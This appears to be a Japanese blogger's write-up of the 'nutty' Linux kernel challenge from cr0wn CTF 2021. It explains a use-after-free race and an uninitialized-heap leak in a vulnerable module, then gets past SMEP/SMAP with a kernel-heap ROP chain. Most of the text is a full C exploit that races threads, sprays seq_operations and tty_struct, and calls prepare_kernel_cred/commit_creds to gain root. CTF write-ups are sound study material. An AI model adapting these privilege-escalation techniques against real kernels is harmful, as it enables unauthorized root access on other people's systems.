イントロ
いつぞや開催されたcr0wn CTF 2021。その pwn 問題であるnutty。先に言ってしまうと、local で root が取れたものの remote で動かなかったため flag は取れませんでした。。。。。。。 今これを書いているのが日曜日の夜 9:30 のため、あと CTF は 6 時間くらいあって、その間に remote で動くようにデバッグしろやと自分自身でも思っているんですが、ねむねむのらなんにゃんこやねんになってしまったため、寝ます。起きたら多分 CTF 終わってるので、忘却の彼方に行く前に書き残しときます。感想を言っておくと、今まで慣れ親しんできた kernel 問とは config が結構違うくて、辛かったです。 あとでちゃんと復習して、remote でもちゃんと動くような exploit に書き直しときます。
(追記 2021.02.22)
なんかDiscord見た感じ、普通にoverflowがあったっぽい。。。。。。 けど気づかなかったので、一切overflowを使わずに進めてしまいました。:cry:
(追記 2021.02.22)
方針は、完全にこれでよかった。
ただ一つ、間違えていたのはsetxattr
する対象をloaclでは/tmp
に入れていたが、
remoteでは/home/user
に入れていたため、setxattr
が動いてなかっただけだった。。。。
普段なら返り値全てにassertしているのだが、今回はuffdなしのraceだったため少しでも余計な処理をなくすためにassertを端折ってしまっていた。
実際にsetxattrの第一引数を/home/user
に変更するだけで、exploitは1/2の確率でremoteで動作するようになった。。。。。
もおおおおおおおおおおおおおおおおお。
static
basic
basic.sh 1/ $ cat /proc/version
2Linux version 5.10.17 (p4wn@p4wn) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #3 SMP Thu Feb 18 21:52:1
3/ $ lsmod
4vulnmod 16384 0 - Live 0x0000000000000000 (O)
5
6timeout qemu-system-x86_64 \
7 -m 128 \
8 -kernel bzImage \
9 -initrd initramfs.cpio \
10 -nographic \
11 -smp 1 \
12 -cpu kvm64,+smep,+smap \
13 -append "console=ttyS0 quiet kaslr" \
14 -monitor /dev/null \
SMEP 有効・SMAP 有効・KASLR 有効・KAISER 有効・FGKASLR 無効。
module
ソースコードが配布されている。最高。nut
という構造体があり、ユーザから提供されたデータを保持するノートみたいな役割を果たす。
Vuln
kUAF / double fetch
vulnmod.c 1static int append(req* arg){
2 int idx = read_idx(arg);
3 if (idx < 0 || idx >= 10){
4 return -EINVAL;
5 }
6 if (nuts[idx].contents == NULL){
7 return -EINVAL;
8 }
9
10 int new_size = read_size(arg) + nuts[idx].size;
11 if (new_size < 0 || new_size >= 1024){
12 printk(KERN_INFO "bad new size!\n");
13 return -EINVAL;
14 }
15 char* tmp = kmalloc(new_size, GFP_KERNEL);
16 memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
17 kfree(nuts[idx].contents); // A
18 char* appended = read_contents(arg); // B
19 if (appended != 0){
20 memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);
21 kfree(appended); // C
22 }
23 nuts[idx].contents = tmp; // D
24 nuts[idx].size = new_size;
25
26 return 0;
27}
ノートを書き足す際にappend()
関数が呼ばれる。この時、“A"において古いノートを一旦kfree()
して、“B"で追加されたデータをcopy_from_user()
によってコピーした後、コピーに使った一時的な領域を"C"でkfree()
している。この時、ノートの管理構造体であるnut
に対して新しいデータが実際につけ変わるのは"D"であり、“A"と"D"の間ではkfree()
された領域へのポインタが保持されたままになっている。よって、“A"と"D"の間で上手く処理をユーザランドに戻すことができれば、RaceCondition になる。
invalid show size
vulnmod-show.c 1static int show(req* arg){
2 int idx = read_idx(arg);
3 if (idx < 0 || idx >= 10){
4 return -EINVAL;
5 }
6 if (nuts[idx].contents == NULL){
7 return -EINVAL;
8 }
9 copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);
10
11 return 0;
12}
ユーザが書き込んだデータをユーザランドに返すshow()
という関数がある。このモジュールではデータ読み込みの際に、データバッファ自体のサイズと実際に入力するデータ長を区別しているが、copy_to_user()
においては実際のデータ長(nut.content_length
)ではなく、バッファの長さ(nut.size
)を利用している。よって、短いデータを大きいバッファに入れることで初期化されていない heap 内のデータを読むことができ、容易に heap アドレス等の leak ができる。
leak kernbase
race via userfaultfd (FAIL)
これだったら、いつもどおり uffd で race を安定させて終わりじゃーんと最初に問題を見たときには思った。だが、調べる内にこの kernel には想定外のことが 3 つあった。 1 つ目。uffd が無効になっている。呼び出すと、Function not Implemented と表示されるだけ。よって、uffd によって race を安定化させるということはできない。
not-exist-uffd.sh1/ # cat /proc/kallsyms | grep userfaultfd
2ffffffffad889df0 W __x64_sys_userfaultfd
3ffffffffad889e00 W __ia32_sys_userfaultfd
2 つ目。スラブアロケータが SLUB じゃない。heap を見てみると、見慣れた SLUB と構造が異なっていた。恐らくこれは SLOB である。そして、ぼくは SLOB の構造をよく知らない。なんかキャッシュが大中小の 3 パターンでしか分かれていないというのと、object の終わりの方に次へのポインタがあるっていうことくらい。
3 つ目。modprobe_path
がない。なんかあっても modprobe_path 書き換えれば終わりだろ〜と思っていたが、これまた検討が外れた。
race to leak kernbase without uffd (Success)
uffd が使えないため、素直に race を起こすことにした。利用する構造体はseq_operations
。大まかな流れは以下のとおり。
11. 0x20サイズのnutをcreate
22. 1で作ったnutに対してsize:0x100,content_length:0でひたすらにappendし続ける
33. 別スレッドにおいて1で作ったnutからひたすらにopen(/proc/self/stat)とshowを交互にする
44. 上手くタイミングが噛み合い、appendの途中で3のスレッドにスイッチした場合、kfreeされたnutをseq_operationsとして確保できる。よって、これをshowすることでポインタがleakできる。
これで、kernbase の leak 完了。
get RIP
RIP の取得も、kernbase の leak とほぼ同じように race させることでできる。今回はtty_struct
を使った。
bypass SMAP via kROP in kernel heap
RIP を取れたは良いが、今回は SMAP/SMEP/KPTI 有効というフル機構である。SMEP 有効のため userland の shellcode は動かせないし、SMAP 有効のため userland に stack pivot して kROP することもできない。また、modprobe_path
も存在しないため書き換えだけで root を取ることもできない。ここでかなり悩んで時間を使ってしまった。
最終的に、tty_struct
内の関数ポインタを書き換えて gadget に飛んだ時に、RBP がtty_struct
自身を指していることが分かった。そのため、leave, ret
する gadget に飛ぶことで、RSP をtty_struct
、すなわち kernel heap に向けることができる。但し、このtty_struct
は既に RIP を取るために使ったペイロードが入っている。よって、このペイロードも含めて kROP として成立するような kROP chainを組む必要があった。最終的にtty_struct
は以下のようなペイロードと chain を含んだ構造になった。
<ここにペイロードのイメージ図>
remote で root が取れないぽよ。。。 (FAIL)
これでローカル環境においてシェルが取れたが、リモート環境においてどうしてもシェルが取れなかった。多分、ローカルで動いているということは、ちょっと調整をするだけで取れるような気もするが、ローカルで動かすまでにかなり精神を摩耗させてしまったため remote でシェルを取ることは叶わなかった。悲しいね。。。
exploit
ローカルでは3 回に 1 回くらいの確率で root が取れる。但し、remote では取れなかった。remote と local の違いと言えば、最初にプログラムを send/decompress するかくらいなため、そこになんか重要な違いでもあったのかなぁ。多分初期の heap 状態とかだと思うんですが、如何せん SLOB よく知らんし、調べる気力も CTF 中は失われてしまった。。。
exploit-only-work-in-local.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <sys/syscall.h>
19#include <sys/ipc.h>
20#include <sys/msg.h>
21#include <sys/ioctl.h>
22#include <sys/mman.h>
23#include <sys/types.h>
24#include <sys/xattr.h>
25#include <sys/socket.h>
26#include <sys/uio.h>
27#include <sys/shm.h>
28
29
30// commands
31#define DEV_PATH "/dev/nutty" // the path the device is placed
32
33// constants
34#define PAGE 0x1000
35#define FAULT_ADDR 0xdead0000
36#define FAULT_OFFSET PAGE
37#define MMAP_SIZE 4*PAGE
38#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
39// (END constants)
40
41// globals
42// (END globals)
43
44
45// utils
46#define WAIT getc(stdin);
47#define ulong unsigned long
48#define scu static const unsigned long
49#define NULL (void*)0
50#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
51 } while (0)
52#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
53 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
54ulong user_cs,user_ss,user_sp,user_rflags;
55struct pt_regs {
56 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
57 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
58 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
59 ulong orig_ax; ulong ip; ulong cs; ulong flags;
60 ulong sp; ulong ss;
61};
62void print_regs(struct pt_regs *regs)
63{
64 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
65 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
66 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
67 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
68 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
69}
70void NIRUGIRI(void)
71{
72 puts("[!!!] REACHED NIRUGIRI");
73 int ruid, euid, suid;
74 getresuid(&ruid, &euid, &suid);
75 //if(euid != 0)
76 // errExit("[ERROR] FAIL");
77 system("/bin/sh");
78 //char *argv[] = {"/bin/sh",NULL};
79 //char *envp[] = {NULL};
80 //execve("/bin/sh",argv,envp);
81}
82// should compile with -masm=intel
83static void save_state(void) {
84 asm(
85 "movq %0, %%cs\n"
86 "movq %1, %%ss\n"
87 "movq %2, %%rsp\n"
88 "pushfq\n"
89 "popq %3\n"
90 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
91}
92
93static void shellcode(void){
94 asm(
95 "xor rdi, rdi\n"
96 "mov rbx, QWORD PTR [rsp+0x50]\n"
97 "sub rbx, 0x244566\n"
98 "mov rcx, rbx\n"
99 "call rcx\n"
100 "mov rdi, rax\n"
101 "sub rbx, 0x470\n"
102 "call rbx\n"
103 "add rsp, 0x20\n"
104 "pop rbx\n"
105 "pop r12\n"
106 "pop r13\n"
107 "pop r14\n"
108 "pop r15\n"
109 "pop rbp\n"
110 "ret\n"
111 );
112}
113// (END utils)
114
115/** nutty **/
116// commands
117#define NUT_CREATE 0x13371
118#define NUT_DELETE 0x13372
119#define NUT_SHOW 0x13373
120#define NUT_APPEND 0x13374
121
122// type
123struct req {
124 int idx;
125 int size;
126 char* contents;
127 int content_length;
128 char* show_buffer;
129};
130
131// globals
132uint count = 0;
133void *faultmp = 0;
134int nutfd;
135ulong total_try = 0;
136char buf[0x400];
137ulong kernbase;
138uint second_size = 0x2e0;
139ulong prover = 0;
140ulong *chain = 0;
141
142// wrappers
143int _create(int fd, uint size, uint csize, char *data){
144 //printf("[+] create: %lx, %lx, %p\n", size, csize, data);
145 assert(fd > 0);
146 assert(0<=size && size<0x400);
147 assert(csize > 0);
148 assert(count < 10);
149 struct req myreq = {
150 .size = size,
151 .content_length = csize,
152 .contents = data
153 };
154 return ioctl(fd, NUT_CREATE, &myreq);
155}
156
157int _show(int fd, uint idx, char *buf){
158 //printf("[+] show: %lx, %p\n", idx, buf);
159 assert(fd > 0);
160 struct req myreq ={
161 .idx = idx,
162 .show_buffer = buf
163 };
164 return ioctl(fd, NUT_SHOW, &myreq);
165}
166
167int _delete(int fd, uint idx){
168 //printf("[+] delete: %x\n", idx);
169 assert(fd > 0);
170 struct req myreq = {
171 .idx = idx,
172 };
173 return ioctl(fd, NUT_DELETE, &myreq);
174}
175
176int _append(int fd, uint idx, uint size, uint csize, char *data){
177 //printf("[+] append: %x, %x %x, %p\n", idx, size, csize, data);
178 assert(fd > 0);
179 assert(0<=size && size<0x400);
180 assert(csize > 0);
181 struct req myreq = {
182 .size = size,
183 .content_length = csize,
184 .contents = data,
185 .idx = idx
186 };
187 return ioctl(fd, NUT_APPEND, &myreq);
188}
189/** (END nutty) **/
190
191
192int leaked = -1;
193ulong delete_count = 0;
194ulong append_count = 0;
195uint target_idx = 0;
196ulong current_cred;
197
198static void* shower(void *arg){
199 char rbuf[0x200];
200 memset(rbuf, 0, 0x200);
201 int result;
202 int tmpfd;
203 ulong shower_counter = 0;
204 while(leaked == -1){
205 // kUAFできていた場合に備えてseq_operationsを確保
206 tmpfd = open("/proc/self/stat", O_RDONLY);
207 result = _show(nutfd, 0, rbuf);
208 if(result < 0){ // idx0が存在しない
209 close(tmpfd);
210 continue;
211 }
212 // idx0が入れたはずの値じゃなければkUAF成功
213 if(((ulong*)rbuf)[0] != 0x4141414141414141){
214 leaked = 1;
215 puts("[!] LEAKED!");
216 for(int ix=0; ix!=4;++ix){
217 printf("[!] 0x%lx\n", ((ulong*)rbuf)[ix]);
218 }
219 break;
220 }
221 // seq_operations解放(やらないとmemory outof memory)
222 close(tmpfd);
223 if(shower_counter % 0x1000 == 0){
224 printf("[-] shower: 0x%lx, 0x%lx\n", shower_counter, ((ulong*)rbuf)[0]);
225 }
226 ++shower_counter;
227 }
228 puts("[+] shower returning...");
229 return (void*)((ulong*)rbuf)[0];
230}
231
232static void* appender(void *arg){
233 int result = 0;
234 char wbuf[0x200];
235 memset(wbuf, 'A', 0x200);
236 while(leaked == -1){
237 result = _append(nutfd, target_idx, 0x0, 0x1, wbuf);
238 if(result >= 0){
239 ++append_count;
240 if(append_count % 0x100 == 0)
241 printf("[-] append: 0x%lx\n", append_count);
242 }
243 }
244 puts("[+] appender returning...");
245}
246
247static void* writer(void *arg){
248 char rbuf[0x400];
249 int result;
250 int tmpfd;
251 ulong writer_counter = 0;
252
253 while(leaked == -1){
254 // kUAFできていた場合に備えてtty_structを確保
255 tmpfd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
256 result = _show(nutfd, target_idx, rbuf);
257 if(result < 0){ // idx0が存在しなy
258 close(tmpfd);
259 continue;
260 }
261 // idx0が入れたはずの値じゃなければkUAF成功
262 if(((ulong*)rbuf)[0] != 0x4242424242424242){
263 leaked = 1;
264 // do my businness first
265 _delete(nutfd, target_idx);
266
267 // gen chain
268 chain = (ulong*)((ulong)rbuf + 8);
269 *chain++ = kernbase + 0x14ED59; // pop rdi, pop rsi // MUST two pops
270 *chain++ = ((ulong*)rbuf)[2];
271 *chain++ = ((ulong*)rbuf)[7] & ~0xFFFUL; // this is filled by tty_struct's op
272
273 *chain++ = kernbase + 0x001BDD; // 0xffffffff81001bdd: pop rdi ; ret ; (6917 found)
274 *chain++ = 0;
275 *chain++ = kernbase + 0x08C3C0; // prepare_kernel_cred
276 *chain++ = kernbase + 0x0557B5; // pop rcx
277 *chain++ = 0;
278 *chain++ = kernbase + 0xA2474B; // mov rdi, rax, rep movsq
279 *chain++ = kernbase + 0x08C190; // commit_creds
280
281 *chain++ = kernbase + 0x0557b5; // pop rcx
282 *chain++ = kernbase + 0x00CF31; // [starter] leave
283
284 //*chain++ = kernbase + 0x0557b5; // pop rcx
285 //*chain++ = 0xBBBBBBBBBBBBB;
286 //*chain++ = kernbase + 0xC00E26; // swapgs 0xffffffff81c00e26 mov rdi,cr3 (swapgs_restore_regs_and_return_to_usermode)
287 *chain++ = kernbase + 0xc00e06;
288
289 *chain++ = 0xEEEEEEEEEEEEEEEE;
290 *chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
291 *chain++ = &NIRUGIRI;
292 *chain++ = user_cs; //XXX
293 *chain++ = user_rflags;
294 *chain++ = user_sp;
295 *chain++ = user_ss;
296
297 //*chain++ = 0xAAAAAAAAAAAAA;
298 //*chain++ = 0xBBBBBBBBBBBBB;
299 //*chain++ = 0xEEEEEEEEEEEEEEEE;
300 //*chain++ = 0xAAAAAAAAAAAAA;
301 //*chain++ = 0xBBBBBBBBBBBBB;
302 //*chain++ = 0xCCCCCCCCCCCCC;
303 //*chain++ = 0xDDDDDDDDDDDDD;
304
305 //*chain++ = kernbase + 0x0AD147; // 0xffffffff81026a7b: 48 cf iretq
306 //*chain++ = &NIRUGIRI;
307 //*chain++ = user_cs; //XXX
308 //*chain++ = user_rflags;
309 //*chain++ = user_sp;
310 ////*chain++ = user_ss;
311
312 //*chain++ = 0xEEEEEEEEEEEEEEEE;
313 //*chain++ = 0xAAAAAAAAAAAAA;
314 //*chain++ = 0xBBBBBBBBBBBBB;
315 //*chain++ = 0xCCCCCCCCCCCCC;
316 //*chain++ = 0xDDDDDDDDDDDDD;
317
318 setxattr("/tmp/exploit", "NIRUGIRI", rbuf, second_size, XATTR_CREATE);
319 ioctl(tmpfd, 0, 0x13371337);
320
321 assert(tmpfd > 0);
322 return; // unreacableであってほしい
323 }
324 close(tmpfd);
325 if(writer_counter % 0x1000 == 0){
326 printf("[-] writer: 0x%lx, 0x%lx\n", writer_counter, ((ulong*)rbuf)[0]);
327 }
328 ++writer_counter;
329 }
330 puts("[+] writer returning...");
331 return 0;
332}
333
334struct _msgbuf{
335 long mtype;
336 char mtext[0x30];
337};
338struct _msgbuf2e0{
339 long mtype;
340 char mtext[0x2e0];
341};
342
343int main(int argc, char *argv[]) {
344 pthread_t creater_thr, deleter_thr, shower_thr, appender_thr, cad_thr, cder_thr, writer_thr;
345 char rbuf[0x400];
346 printf("[+] NIRUGIRI @ %p\n", &NIRUGIRI);
347 memset(rbuf, 0, 0x200);
348 memset(buf, 'A', 0x200);
349 nutfd = open(DEV_PATH, O_RDWR);
350 assert(nutfd > 0);
351 int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
352 if(qid == -1) errExit("msgget");
353 struct _msgbuf msgbuf = {.mtype = 1};
354 struct _msgbuf2e0 msgbuf2e0 = {.mtype = 2};
355 //KMALLOC(qid, msgbuf, 0x40);
356 KMALLOC(qid, msgbuf2e0, 0x5);
357
358 // leak kernbase
359 _create(nutfd, 0x20, 0x20, buf);
360 int appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
361 if(appender_fd > 0)
362 errExit("appender_fd");
363 int shower_fd = pthread_create(&shower_thr, NULL, shower, 0);
364 if(shower_fd > 0)
365 errExit("shower_fd");
366 void *ret_shower;
367 pthread_join(appender_thr, 0);
368 pthread_join(shower_thr, &ret_shower);
369 const ulong single_start = (ulong)ret_shower;
370 kernbase = single_start - 0x1FA9E0;
371 printf("[!] kernbase: 0x%lx\n", kernbase);
372
373 // <until here, there is NO corruption //
374 leaked = -1;
375 target_idx = 1;
376 memset(buf, 'B', 0x200);
377 for(int ix=1; ix!=0x30; ++ix){
378 ((ulong*)buf)[ix] = 0xdead00000 + ix*0x1000;
379 }
380 printf("[+] starting point: 0x%lx\n", kernbase + 0x00CF31);
381 ((ulong*)buf)[0x60/8] = kernbase + 0x00CF31;
382
383 _create(nutfd, second_size, second_size, buf);
384 _create(nutfd, 0x2e0, 0x2e0, buf);
385
386 save_state();
387 appender_fd = pthread_create(&appender_thr, NULL, appender , 0);
388 if(appender_fd > 0)
389 errExit("appender_fd");
390 int writer_fd = pthread_create(&writer_thr, NULL, writer, 0);
391 if(writer_fd > 0)
392 errExit("writer_fd");
393 pthread_join(appender_thr, 0);
394 pthread_join(writer_thr, 0);
395
396 NIRUGIRI();
397 return 0;
398}
アウトロ
最近 kernel 問をちょこちょこ解いていたから、ちゃんと CTF 開催期間中に remote で root を取りたかった。 ちゃんと寝たあとに、復習してちゃんと動く exploit を書き直す。 おやすみなさい。。。